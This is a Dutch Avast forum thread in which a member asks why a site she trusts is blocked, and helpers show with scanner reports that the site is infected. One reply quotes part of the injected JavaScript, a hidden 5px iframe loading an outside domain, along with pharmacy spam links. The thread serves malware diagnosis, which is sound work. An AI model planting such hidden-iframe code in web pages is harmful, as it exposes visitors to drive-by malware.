Avast WEBforum

Non-English Zone => Nederlands => Topic started by: karin115 on April 23, 2014, 12:26:43 PM

Title: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: karin115 on April 23, 2014, 12:26:43 PM
Al jaren ben ik lid van http://www.eosdigitaal.nl . Sinds een aantal dagen kon ik ineens niet meer op de site. Ik dacht dat deze eruit lag.
Vandaag maar eens gegoogled en nu blijkt dat de site wordt geblokkeerd door Avast. Meerdere gebruikers hebben dit opgemerkt.

Ik heb via Avast, Instellingen, Antivirus, de url van eosdigitaal ingevoerd als uitsluiting. Dit werkt echter niet. Wat kan ik nog meer doen?
En waar kan ik melden bij Avast dat deze site gewoon betrouwbaar is? Aangezien dit een site is met duizenden leden en velen hetzelfde probleem zullen ondervinden.
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: jefferson sant on April 23, 2014, 02:19:16 PM
(http://i.imgur.com/bM9k3cD.png)



De detectie correct
de iframes kwaadaardig Server Error 404 in reactie

http://killmalware.com/www.eosdigitaal.nl/

code malicious

http://sitecheck.sucuri.net/results/www.eosdigitaal.nl

quterra gevonden verdacht bestand geïnfecteerd door dit js:HideMe-l [trj]

http://quttera.com/detailed_report/www.eosdigitaal.nl

avg potentieel actieve malware

http://www.avgthreatlabs.com/website-safety-reports/domain/eosdigitaal.nl/

Deobfuscation

http://wepawet.iseclab.org/view.php?hash=7837bb7816147955badc2f32ddb55eb7&t=1398254514&type=js
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: Eddy on April 23, 2014, 02:37:05 PM
Hallo Karin en welkom op dit webboard.
Quote
En waar kan ik melden bij Avast dat deze site gewoon betrouwbaar is? Aangezien dit een site is met duizenden leden en velen hetzelfde probleem zullen ondervinden.
Het aantal leden zegt niets over betrouwbaarheid. Een site die nu schoon is kan over 5 minuten geïnfecteerd zijn rn dat kan ook een normaal gesproken betrouwbare site zijn.

Behalve de problemen die Jefferson al meldde, kan ik deze er nog aan toevoegen:
http://urlquery.net/report.php?id=1397487677923 (http://urlquery.net/report.php?id=1397487677923)
Deze website wordt op hetzelfde IP gehost en vormt een ernstige bedreiging voor de veiligheid.
Mocht je dit niet begrijpen, geen zorgen.
Denk maar zo, rood staat voor gevaar  ;)
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: karin115 on April 23, 2014, 03:47:25 PM
Bedankt voor jullie reacties. Ik zal deze doorsluizen naar het EOSdigitaal forum.  :)
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: polonus on April 23, 2014, 03:56:06 PM
Laten we de site eens doorspitten.
Javascript check levert op: Verdacht

var js_kod2 = document.createelement('iframe'); js_kod2.src = 'htxp://anadoluengellilerkenti.com/img/trans/'; js_kod2.width = '5px'; ...
re: https://www.virustotal.com/nl/domain/anadoluengellilerkenti.com/information/
Spam check: verdacht -

sois/user/ny76u.html">comprar ** SPAM ** internet farmacia</a> di occasionale, ovvero prima, <a href="htxp://www.iasi.cnr.i...

polonus

P.S. avast Webshield detects iFrame malware there: JS:HideMe-I[Trj].

ZuluZscaler geeft dit ook als een verdacht extern element: htxp://buy-tablets-online.com/buy-xenical.htmlhttp://fetch.scritch.org/%2Bfetch/?url=http%3A%2F%2Fbuy-tablets-online.com%2Fbuy-xenical.html&useragent=Fetch+useragent&accept_encoding=
and the spam -> src="images/thumbs/c888x239/131pr2012-12-06newpharmacyconceptpicturedownload dot jpg" alt="slideshow" width="888" height="239" /
see source here: http://fetch.scritch.org/%2Bfetch/?url=http%3A%2F%2Fbuy-tablets-online.com%2Fbuy-xenical.html&useragent=Fetch+useragent&accept_encoding=

D
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: karin115 on April 23, 2014, 07:43:36 PM
Het probleem is opgepakt door de admin van het EOSdigitaal forum. Als het goed is zou het nu opgelost moeten zijn.
Jullie bedankt voor het doorlichten!
Title: Re: Betrouwbare site wordt ineens geblokkeerd door Avast
Post by: Eddy on April 23, 2014, 07:49:40 PM
Graag gedaan hoor.